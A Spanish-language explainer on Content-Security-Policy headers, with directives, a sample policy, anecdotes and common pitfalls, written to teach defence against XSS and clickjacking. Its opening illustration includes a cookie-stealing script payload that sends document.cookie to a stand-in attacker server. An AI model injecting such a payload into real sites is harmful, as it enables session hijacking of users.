En una oración
Content-Security-Policy (CSP) es un estándar de seguridad, entregado a través de un encabezado HTTP, que le dice al navegador qué fuentes de contenido (como scripts, imágenes y estilos) son de confianza y deben permitirse cargar, actuando efectivamente como un cadenero contra inyecciones maliciosas.
El problema que resuelve
En los primeros días del lejano oeste de la web, la seguridad era algo que se dejaba para después. Uno de los villanos más desagradables que surgieron fue el Cross-Site Scripting, o XSS. En pocas palabras, XSS es un ataque en el que un actor malintencionado logra inyectar su propio código malicioso (generalmente JavaScript) en un sitio web en el que confías.
Imagina un blog con una sección de comentarios. Tú, como desarrollador, construyes el sitio con cuidado. Pero se te pasa un pequeño bug en cómo muestras los comentarios. Un atacante llega y, en lugar de escribir "¡Buen post!", envía un comentario como este:
<script>
// Robar la cookie de sesión del usuario logueado
fetch('https://attackers-evil-server.com/steal?cookie=' + document.cookie);
</script>
Ahora, cualquier otro usuario que vea esa entrada del blog hará que su navegador ejecute este script. Como el script se ejecuta en el dominio de tu blog, tiene acceso a todo lo que un script legítimo tendría, como las cookies de sesión del usuario. El atacante ahora puede secuestrar su sesión y hacerse pasar por él. ¡Auch!
Durante años, la única defensa fue sanitizar meticulosamente cada dato introducido por el usuario. Esto se llama "validación de entradas y codificación de salidas" (input validation and output encoding), y sigue siendo de vital importancia. Pero también es increíblemente difícil hacerlo 100% bien, el 100% de las veces. Un pequeño descuido y eres vulnerable.
CSP nació de la necesidad de una "defensa en profundidad". La idea es simple: ¿qué pasaría si el servidor pudiera decirle al navegador: "Oye, sé que se supone que soy perfecto, pero por si acaso metí la pata y dejé pasar un script malicioso, quiero que impongas algunas reglas por mí. Solo ejecuta scripts que vengan de mi propio dominio, my-app.com, y de Google Analytics. Si ves un script de cualquier otra fuente, bloquéalo y avísame"?
Eso es CSP. Es una segunda línea de defensa que opera directamente en el navegador del usuario, convirtiéndolo de una víctima pasiva en un agente de seguridad activo.
Cómo funciona por debajo
CSP no es magia; es solo una cadena de texto que se entrega en un encabezado de respuesta HTTP. Los dos encabezados principales son:
Content-Security-Policy: Aplica la política. Si un recurso viola la política, es bloqueado.Content-Security-Policy-Report-Only: Un modo de "simulación". Reporta las violaciones pero en realidad no bloquea nada, lo cual es una bendición para probar y desplegar una nueva política sin romper tu sitio.
El valor del encabezado es una serie de directivas, cada una terminada con un punto y coma. Una directiva consiste en un nombre y una lista de fuentes permitidas.
Directivas Comunes
Piensa en las directivas como categorías de contenido que quieres controlar.
| Directiva | Controla... | Qué cubre |
|---|---|---|
default-src |
El respaldo | La lista de fuentes por defecto para la mayoría de las otras directivas -src si no se especifican. ¡Configúrala primero! |
script-src |
Scripts | Fuentes de JavaScript, incluyendo etiquetas script, manejadores en línea (onclick) y más. El más importante para XSS. |
style-src |
Hojas de estilo | Archivos CSS, etiquetas style y atributos style en línea. |
img-src |
Imágenes | Etiquetas <img>, favicons, etc. |
connect-src |
Conexiones | URLs para fetch(), XMLHttpRequest, WebSocket, etc. ¿Con qué puede hablar tu front-end? |
font-src |
Fuentes | Fuentes web cargadas a través de @font-face. |
frame-src |
Frames | Fuentes para elementos <iframe> y <frame>. |
report-uri |
Reportes | (Obsoleto pero común) Una URL a la que el navegador envía reportes JSON de las violaciones de la política. |
report-to |
Reportes | El reemplazo moderno de report-uri, que utiliza la Reporting API. |
Valores de Fuente Comunes
Para cada directiva, especificas de dónde puede provenir el contenido.
| Fuente | Significado | Ejemplo |
|---|---|---|
'self' |
El mismo origen | Permite contenido del mismo dominio, esquema y puerto que el documento. |
'none' |
Nada | Bloquea todo el contenido para esa directiva. object-src 'none' es una muy buena idea. |
example.com |
Un host específico | Permite contenido de example.com. |
*.example.com |
Host con comodín | Permite contenido de cualquier subdominio de example.com. ¡Úsalo con precaución! |
https: |
Un esquema | Permite contenido de cualquier fuente a través de HTTPS. |
'unsafe-inline' |
Código en línea | Permite etiquetas <script> y <style> en línea, y atributos style u onclick. ¡Evítalo si es posible! |
'unsafe-eval' |
Código dinámico | Permite funciones de evaluación de cadenas como eval(). Un gran riesgo de seguridad. |
'nonce-...' |
Un nonce criptográfico | Permite un script en línea si su atributo nonce coincide con el del encabezado. Genial para usar de forma segura scripts en línea específicos. |
'sha256-...' |
Un hash | Permite un script o estilo en línea si su hash SHA256 coincide con el del encabezado. |
Juntándolo todo
Veamos una política realista para una aplicación web moderna:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.my-app.com;
connect-src 'self' https://api.my-app.com;
font-src 'none';
object-src 'none';
frame-ancestors 'none';
report-to csp-endpoint;
Vamos a desglosarlo:
default-src 'self': Por defecto, solo permitir recursos de nuestro propio origen.script-src ...: Permitimos scripts de nuestro propio origen, de nuestro proveedor de analíticas, y cualquier script en línea que tenga el valornonceespecífico. El servidor generaría un nuevo nonce aleatorio para cada carga de página.style-src 'self' 'unsafe-inline': Permitimos hojas de estilo de nuestro origen. El'unsafe-inline'sugiere que podríamos tener algo de código heredado (legacy) que inyecta atributosstyle, lo cual es una situación común (aunque no ideal).img-src ...: Las imágenes pueden venir de nuestro origen, como URIsdata:, o de nuestro CDN de imágenes dedicado.connect-src ...: A nuestro JavaScript de front-end solo se le permite hacer llamadas de API a nuestro propio origen y aapi.my-app.com.font-src 'none',object-src 'none': No usamos fuentes personalizadas ni plugins como Flash, así que los bloqueamos por completo.frame-ancestors 'none': Esto evita que otros sitios pongan nuestro sitio en un<iframe>, lo que detiene los ataques de clickjacking.report-to csp-endpoint: Enviar reportes de violación al endpoint de reporte llamadocsp-endpoint(configurado en otro lugar).
Historias del mundo real
El Ladrón de E-Commerce
Una tienda en línea mediana agregó un widget de chat de terceros a su sitio para ayudar con el servicio al cliente. Agregaron el dominio del widget a su directiva script-src y pensaron que estaban a salvo. Lo que no sabían era que la propia empresa del widget de chat fue vulnerada, y un atacante modificó el archivo de script del widget. La nueva versión maliciosa extraía los números de tarjeta de crédito de la página de pago. Como el CSP de la tienda confiaba en el dominio de origen, el script malicioso se cargó y ejecutó sin problemas durante semanas.
Lección: Tu CSP es una cadena de confianza. Cuando permites un dominio de terceros, no solo estás confiando en esa empresa; estás confiando en su seguridad, en su pipeline de despliegue y en todas sus dependencias. La Integridad de Subrecursos (SRI) es otra herramienta que puede ayudar a mitigar este riesgo específico.
El Despliegue Lento
Una gran organización de medios quería implementar un CSP estricto en su sitio de noticias de alto tráfico. Sabían que desplegarlo de una sola vez podría romper anuncios, videos e innumerables otras funcionalidades. En lugar de lanzarlo a producción, desplegaron una política en modo Content-Security-Policy-Report-Only. Durante dos semanas, solo recolectaron datos. Su endpoint report-uri se inundó con miles de reportes por hora. Canalizaron estos reportes a una base de datos y construyeron un dashboard que mostraba los recursos bloqueados con más frecuencia y las páginas en las que se bloqueaban. Descubrieron docenas de scripts de seguimiento heredados y olvidados, dominios de redes publicitarias y dependencias de reproductores de video. Sistemáticamente, eliminaron los recursos antiguos o agregaron los legítimos a su lista blanca de la política. Después de un mes de refinamiento, activaron el modo de aplicación forzosa. Nada se rompió.
Lección: No vueles a ciegas. Usa el modo Report-Only como tu copiloto. Te permite construir una política perfecta y del mundo real basada en el tráfico de usuarios real, convirtiendo una aterradora tarea de seguridad en un problema manejable de análisis de datos.
La Amenaza de la Extensión del Navegador
Un empleado de una empresa financiera usaba una extensión de navegador popular que "embellecía" las páginas web inyectando su propio CSS y JavaScript. En la mayoría de los sitios, esto era inofensivo. Pero cuando inició sesión en su portal financiero corporativo interno, el sitio se negó a funcionar correctamente. Confundido, llamó a TI. Un desarrollador miró la consola del navegador y vio un torrente de errores de violación de CSP: el portal estaba bloqueando la inyección de los scripts y estilos de la extensión. El estricto CSP del portal, que solo permitía scripts y estilos de 'self', había identificado correctamente el código de la extensión como un recurso extraño y no confiable y lo había bloqueado. Evitó una posible fuga de datos de una extensión bien intencionada pero invasiva.
Lección: Un CSP robusto protege a tus usuarios no solo de tus propios posibles bugs, sino también de amenazas dentro de su propio entorno de navegador, como extensiones maliciosas o demasiado permisivas.
Errores y trampas comunes
- Depender de
'unsafe-inline'. Esta es la trampa más común. Los desarrolladores se topan con problemas con viejos manejadores de eventosonclicko etiquetas<script>en línea y recurren a'unsafe-inline'como una solución rápida. Esto reabre un enorme vector para ataques XSS. El mejor camino es refactorizar el código para usaraddEventListenero, si es absolutamente necesario tener un script en línea, usar un nonce o un hash para incluirlo específicamente en la lista blanca. - Olvidar
default-src. Si solo establecesscript-srcystyle-src, dejas abiertos otros vectores. ¿Qué hay de las etiquetas<object>? ¿O los workers? Siempre comienza con undefault-src 'self'odefault-src 'none'restrictivo y abre solo lo que necesites directiva por directiva. - Configurar los reportes pero nunca mirarlos. Un
report-urique apunta a un callejón sin salida es inútil. Los reportes de violación son tu sistema de alerta temprana. Pueden alertarte sobre un nuevo ataque XSS en la naturaleza o decirte que un despliegue reciente rompió una función legítima para un subconjunto de usuarios. Debes tener un proceso para ingerir, agregar y revisar estos reportes. - Usar comodines (wildcards) demasiado permisivos. Es tentador usar
script-src https://*.some-cdn.com, pero esto podría permitir que un atacante cargue un script desdehttps://malicious-user-account.some-cdn.com. Sé tan específico como sea posible con tus nombres de host. - Ignorar
frame-ancestors. El XSS se lleva toda la atención, pero el clickjacking es otra amenaza real. Un atacante puede cargar tu sitio en un<iframe>transparente sobre su propio sitio malicioso y engañar a los usuarios para que hagan clic en botones de tu sitio.frame-ancestors 'none'oframe-ancestors 'self'es una defensa simple y poderosa que a menudo se olvida.
Por qué debe estar en tu radar
Deberías estar pensando en CSP si...
- Construyes cualquier aplicación web que maneja inicios de sesión de usuarios, datos personales o información de pago.
- Muestras cualquier contenido enviado por usuarios (comentarios, perfiles, publicaciones en foros).
- Integras múltiples scripts de terceros como analíticas, anuncios, widgets de soporte o administradores de etiquetas.
- Quieres una postura de seguridad robusta, moderna y de defensa en profundidad para cualquier proyecto web no trivial.
En resumen, si eres un desarrollador web en el siglo XXI, CSP debería ser una parte estándar de tu caja de herramientas. Ya no es una característica exótica para los ultraparanoicos; es una pieza fundamental de la seguridad del front-end.
Profundiza más
- MDN Web Docs: Content Security Policy (CSP) - La guía y referencia definitiva y práctica. (El enlace original apunta a en-US, pero
esexiste y es mejor para el público objetivo). - W3C Content Security Policy Level 3 - La especificación oficial. Es densa, pero es la fuente de la verdad.
- Google's Web Fundamentals on CSP - Una excelente introducción de alto nivel con consejos prácticos.
- report-uri.com - Un servicio para la recolección de reportes de CSP, dirigido por el experto en seguridad Scott Helme, cuyo blog es también un recurso increíble sobre el tema.
- OWASP Cheat Sheet: Content Security Policy - Mejores prácticas enfocadas en seguridad del Open Web Application Security Project.